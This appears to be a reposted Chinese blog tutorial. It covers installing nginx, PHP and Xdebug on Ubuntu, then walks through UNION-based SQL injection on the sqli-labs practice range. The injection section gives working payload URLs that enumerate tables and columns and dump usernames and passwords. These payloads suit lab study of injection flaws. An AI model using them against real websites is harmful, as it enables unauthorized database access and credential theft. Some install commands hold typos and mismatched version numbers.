渗透--ubuntuan安装nginx、php部署 -- sql注入

news2024/9/22 10:05:18

ubuntuan安装nginx以及php部署 

​
1.安装依赖包
方法一：
root@zbn-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev

方法二：
root@zbn:/# apt install gcc
root@zbn:/# apt install libpcre3 libpcre3-dev
root@zbn:/# apt install zlib1g zlib1g-dev
root@zbn:/# apt-get install openssl
root@zbn:/# apt-get install libssl-dev

2.创建文件夹
root@zbn:/# cd /usr/local
root@zbn:/usr/local# mkdir nginx
root@zbn:/usr/local# cd nginx

3.安装nginx
方法一：      
      1：在https://nginx.org/en/download.html下载nginx
      2：将压缩包通过xtfp传输到ubuntu的/usr/local/nginx目录下
      3：root@zbn:/usr/local/nginx#  tar -vxf nginx-1.21.6 tar.gz
方法二：     
      1：下载安装包
         root@zbn:/usr/local/nginx# wget https://nginx.org/download/nginx1.21.6.tar.gz
      2：解压安装包
         root@zbn:/usr/local/nginx# tar -zxvf nginx-1.21.6.tar.gz

3.查看编译环境是否有缺失
root@zbn:/usr/local/nginx/nginx-1.21.6# ./configure

4.编译
root@zbn:/usr/local/nginx/nginx-1.21.6# make && make install 

5.启动nginx
root@zbn:/usr/local/nginx/sbin# ./nginx

最终结果：

 

部署PHP 

1.增加php源地址
root@zbn:~# apt-get install software-properties-common
root@zbn:~# add-apt-repository -y ppa:ondrej/php
root@zbn:~# apt-get install php7.3

2.安装php
root@zbne:~# sudo apt-get install php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml 

3.修改监听端口
root@zbn:vim /etc/php/7.1/fpm/pool.d/www.conf

4.启动php-fpm，查看9000端口状况
root@zbn:~# sudo service php7.3-fpm start
root@zbn:~# netstat -lnt | grep 9000

5.测试
root@zbn:/usr/local/nginx/html# vim web.php

 3.修改监听端口

 

5.测试 

Debug安装调试 

Debug安装调试
1.VScode远程连接

2.安装PHP Debug


点击 Xdebug installation wizard 进入网站

将web.php的信息复制粘贴



（1）

root@admin123-virtual-machine:~# wget https://xdebug.org/files/xdebug-3.3.2.tgz
1
（2）

root@admin123-virtual-machine:~# apt-get install php7.3-dev autoconf automake
1
（3）

root@admin123-virtual-machine:~# tar -xvzf xdebug-3.3.2.tgz
1
（4）

root@admin123-virtual-machine:~# cd xdebug-3.3.2
1
（5）

root@admin123-virtual-machine:~# phpize
1

（6）

root@admin123-virtual-machine:~/xdebug-3.3.2# ./configure
1
（7）

root@admin123-virtual-machine:~/xdebug-3.3.2# make
1
（8）

root@admin123-virtual-machine:~/xdebug-3.3.2# cp modules/xdebug.so /usr/lib/php/20230831/
1
（9）

root@admin123-virtual-machine:~/xdebug-3.3.2# vim /etc/php/8.3/fpm/conf.d/99-xdebug.ini
1


（10）

root@admin123-virtual-machine:~/xdebug-3.3.2# service php7.3-fpm restart 
————————————————

                            版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
                        
原文链接：https://blog.csdn.net/Sesessep/article/details/140939500

 

Debug安装调试 

1.VScode远程连接

2.安装PHP Debug


点击 Xdebug installation wizard 进入网站

将web.php的信息复制粘贴

我们按照以下步骤一步一步来：

3.第三步

1>复制链接

2>root@zbn:~# wget https://xdebug.org/files/xdebug-2.9.8.tgz

4、root@zbn:~# apt-get install php7.1-dev autoconf automake
 

5、root@zbn:~# tar -xvzf xdebug-2.9.8.tgz

6、root@zbn:~# cd xdebug-32.9.8

7、root@zbn:~# phpize

8、root@azbn:~/xdebug-2.9.8# ./configure

9、root@zbn:~/xdebug-32.9.8# make

10、root@zbn:~/xdebug-2.9.8# cp modules/xdebug.so /usr/lib/php/20230831/

11、root@zbn:~/xdebug-2.9.8# vim /etc/php/7.1/fpm/conf.d/99-xdebug.ini

12、root@zbn:~/xdebug-2.9.8： service php7.1-fpm restart 

遇到这个情况，断点用不了

 

sql注入 安装靶场 

下载靶场解压到phpstudu_pro/WWW

更改数据库配置文件

登入靶场

Setup/reset Database for labs

sql注入流程


1.寻找注入点

http://localhost/sqliabs/Less-1/?id=1

在这里插入图片描述
2.判断是数字型还是字符型
在这里插入图片描述
在这里插入图片描述
字符型

3.判断闭合方式

http://localhost/sqliabs/Less-1/?id=1'

在这里插入图片描述
在这里插入图片描述
单引号闭合

4.验证输入的内容数据库是否执行，是否存在sql漏洞
若：

http://localhost/sqliabs/Less-1/?id=1’ and 1=1 --+

有显示
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' and 1=2 --+

无显示
在这里插入图片描述
则存在漏洞

5.判断列数

http://localhost/sqliabs/Less-1/?id=1' order by 10 --+

报错，说明没有10列
在这里插入图片描述

http://localhost/sqliabs/Less-1/?id=1' order by 3 --+

没有报错，说明有3列在这里插入图片描述

 

6.联合查询，判断回显位

http://localhost/sqliabs/Less-1/?id=-1' union select 1,2,3 --+

在这里插入图片描述
2，3说明联合查询中的第2第3位的数据会显示到Your Login name和Your Password后

在这里插入图片描述

7.查数据库名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,database(),3 --+

在这里插入图片描述
数据库名：security

8.查表名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+

四张表：emails referers uagents users

9.查列名

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+
 

三个列名：id username password

10.查具体数据

http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(username)from users),(select group_concat(password)from users) --+

查出账号密码，成功通关。

Less-02~04通过方式与Less-01基本无异，只是闭合方式不同

 

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1990289.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

2017-架构师案例（九）

2017-架构师案例（九）

某软件企业受该省教育部门委托建设高校数字化教育教学资源共享平台，实现以众筹众创的方式组织省内普通高校联合开展教育教学资源内容建设，实现全省优质教学资源整合和共享。该资源共享平台的主要功能模块包括: (1)统一身份认证模块:提供统一的认证入口&…
阅读更多...
微信小程序--详情实现日期选择期（年月日）

微信小程序--详情实现日期选择期（年月日）

案例&#xff1a; html: <view class"huanhang"><view class"fontBold">发起时间&#xff1a;</view><view class"fontBold"> <picker class"getBusTime" mode"date" data-namesa"staDa…
阅读更多...
aop时什么，用时统计怎么开发

aop时什么，用时统计怎么开发

spring aop,作用&#xff1a;可以对service层代码进行监听&#xff0c;统计每个方法用时 aop是什么&#xff1a;面向切面编程&#xff08;aop开发出来的代码&#xff09; 用在哪里&#xff1a;&#xff08;压测/提效&#xff09; 1.controller层方法用时不用统计,核心都在服务…
阅读更多...
Vue+Vite+Element Plus基础操作

Vue+Vite+Element Plus基础操作

Vue.js 是一个流行的前端框架&#xff0c;‌而 Vite 是一个快速构建前端应用的新型开发服务器和构建工具&#xff0c;‌两者结合可以显著提升开发效率和体验。‌ Vue.js 是一个用于构建用户界面的渐进式框架&#xff0c;‌它易于上手且功能强大。‌Vue 的核心库只关注视图层&a…
阅读更多...
前端构建工具|vite快速入门

前端构建工具|vite快速入门

认识vite vite组成部分 Vite是一种新型前端构建工具&#xff0c;能够显著提升前端开发体验。它主要由两部分组成&#xff1a; 一个开发服务器&#xff0c;它基于 原生 ES 模块 提供了 丰富的内建功能&#xff0c;如速度快到惊人的 模块热更新&#xff08;HMR&#xff09;。一…
阅读更多...
DERPNSTINK: 1-打靶渗透【附代码】(权限提升)

DERPNSTINK: 1-打靶渗透【附代码】(权限提升)

DerpNStink 靶机下载地址&#xff1a; https://www.vulnhub.com/entry/derpnstink-1,221/#downloadhttps://www.vulnhub.com/entry/derpnstink-1,221/#download 1. 主机发现端口扫描目录扫描操作系统等信息收集 1.1. 主机发现 nmap -sn 192.168.7.0/24|grep -B 2 08:00:27…
阅读更多...
Rabbit高级特性 - 消息重试机制（两种实现）

Rabbit高级特性 - 消息重试机制（两种实现）

文章目录 消息重试机制概述实现方式一&#xff1a;基于消息手动确认机制&#xff0c;返回 nack 实现配置文件交换机、队列、绑定生产者接口消费者演示和结论 实现方式二&#xff1a;基于重试配置实现配置文件交换机、队列、绑定生产者接口消费者演示和结论 消息重试机制 概述 …
阅读更多...
对深度学习神经网络做了小改进，效果提升明显，可以发论文吗？

对深度学习神经网络做了小改进，效果提升明显，可以发论文吗？

小改了深度学习神经网络某一层&#xff0c;效果提升显著&#xff0c;可以发顶会吗&#xff1f; 结论就是&#xff0c;当然可以发&#xff0c;只是能不能发出高质量论文&#xff0c;中稿顶会&#xff0c;还得看你这个小改进的具体情况还有你讲故事的能力。 先说改进的具体情况…
阅读更多...
国家统计局中国主要城市面板数据（1990-2023年）

国家统计局中国主要城市面板数据（1990-2023年）

数据说明&#xff1a;数据来源于国家统计局&#xff0c;指标包含&#xff1a;城市、年份、第三产业增加值、第一产业增加值 地区生产总值、第二产业增加值、年末户籍人口、城镇非私营单位在岗职工平均工资 房地产开发投资额、房地产开发住宅投资额、房地产开发办公楼投资额、房…
阅读更多...
什么是股指期权与股指期货的套利策略？

什么是股指期权与股指期货的套利策略？

沪深300股指期权和沪深300股指期货就像是孪生兄弟&#xff0c;它们不仅到期时间一样&#xff0c;结算价格也一样&#xff0c;而且都是现金结算。这意味着&#xff0c;如果你用期权的方式“造”出一个期货来&#xff0c;跟市场上真实交易的期货&#xff0c;在到期那天&#xff0…
阅读更多...
Eclipse 首选项(Preferences)

Eclipse 首选项(Preferences)

设置首选项 该对话框可通过框架管理但是其他插件可以设置其他页面来管理首选项的配置。 我们可以通过 Window 菜单选择 Preferences 菜单项来开启该对话框。 首选项页面有多个分类组成。你可以在左侧菜单中展开各个节点来查看首选项的配置。 左上角的输入框可以快速查找首选…
阅读更多...
#子传父父传子props和emits #封装的table #vue3

#子传父父传子props和emits #封装的table #vue3

#子传父&父传子props和emits #封装的table #vue3 父组件&#xff1a;emits defineEmits props 子组件&#xff1a; 子组件 <template><el-table v-bind"$attrs" ref"innerTableRef" v-loading"loading" border :data"tabl…
阅读更多...
鸿蒙HarmonyOS开发：如何灵活运用动画效果提升用户体验

鸿蒙HarmonyOS开发：如何灵活运用动画效果提升用户体验

文章目录 一、动画概述1、动画的目的 二、显式动画 (animateTo)1、接口2、参数3、AnimateParam对象说明4、示例5、效果 三、属性动画 (animation)1、接口2、参数3、AnimateParam对象说明4、系统可动画属性4、示例5、效果 一、动画概述 动画的原理是在一个时间段内&#xff0c;…
阅读更多...
QT使用ui文件创建窗口

QT使用ui文件创建窗口

目录 带ui文件 添加状态栏 资源文件的使用 添加文件资源 使用文件资源 带ui文件 编辑 添加状态栏 MainWindow::MainWindow(QWidget *parent): QMainWindow(parent), ui(new Ui::MainWindow) {ui->setupUi(this);// 添加状态栏ui->statusbar->addWidget(new QLab…
阅读更多...
codeforces查看题解

codeforces查看题解

文章目录 1. 步骤一&#xff1a;右键单击箭头指向位置&#xff0c;根据提示打开链接2. 步骤二&#xff1a;左键单击箭头指向位置3. 结果&#xff1a;红线上方是参考代码&#xff0c;下方是测试样例4. 补充&#xff1a;① 右边这个方框可以筛选想要查看代码的状态(Accepted、Wro…
阅读更多...
AI在医学领域：残差扩散模型预测特发性肺纤维化 (IPF)

AI在医学领域：残差扩散模型预测特发性肺纤维化 (IPF)

关键词&#xff1a; IPF 进展预测、残差扩散模型、临床信息 特发性肺纤维化&#xff08;Idiopathic Pulmonary Fibrosis&#xff0c;IPF&#xff09;是一种严重且不可逆的肺部疾病&#xff0c;它会导致肺部组织出现瘢痕和增厚&#xff0c;从而引起呼吸困难。。及时对IPF进行治…
阅读更多...
Unity入门4——常用接口

Unity入门4——常用接口

C#中常用类和接口 DateTime&#xff1a;表示某个时刻 DateTime.Now&#xff1a;拿到系统当前时间DtaTime.TimeOfDay&#xff1a;获取此实例当天的时间 Quaternion&#xff1a;用来旋转&#xff0c;采用四元数&#xff0c;由w&#xff08;实部&#xff09;和x,y,z&#xff08;虚…
阅读更多...
ChinaJoy 2024: 维塔士携自研游戏亮相，探讨数据驱动游戏开发

ChinaJoy 2024: 维塔士携自研游戏亮相，探讨数据驱动游戏开发

2024年7月30日,上海——全球领先的视频游戏开发公司维塔士精彩亮相第二十一届中国国际数码互动娱乐展览会(ChinaJoy),并首次公开自研游戏《唐传奇:琵琶行》DEMO试玩。在展会首日举办的2024中国游戏开发者大会(CGDC)上,来自维塔士西安工作室的执行制作人熊鹏昱受邀发表题为《维塔…
阅读更多...
springboot的拦截器，监听器，过滤器，servlet的使用（三大组件）

springboot的拦截器，监听器，过滤器，servlet的使用（三大组件）

目录 1. 拦截器1.1 简介1.2 使用 2. 监听器2.1 简介2.2 使用 3. 过滤器3.1 简介3.2 使用 4. servlet4.1 简介4.2 使用 5. 例子6. 心得 1. 拦截器 1.1 简介 Spring Boot 拦截器&#xff08;Interceptor&#xff09;是Spring MVC中用于在请求处理流程中执行某些操作的组件。它们…
阅读更多...
Open3D 三维重建-Alpha Shapes (α-形状)

Open3D 三维重建-Alpha Shapes (α-形状)

目录 一、概述 1.1原理 1.2实现步骤 二、代码实现 2.1关键函数 2.1.1函数 2.1.2参数详解 2.2完整代码 三、实现效果 3.1原始点云 3.2处理后点云 Open3D点云算法汇总及实战案例汇总的目录地址&#xff1a; Open3D点云算法与点云深度学习案例汇总&#xff08;长期更新…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023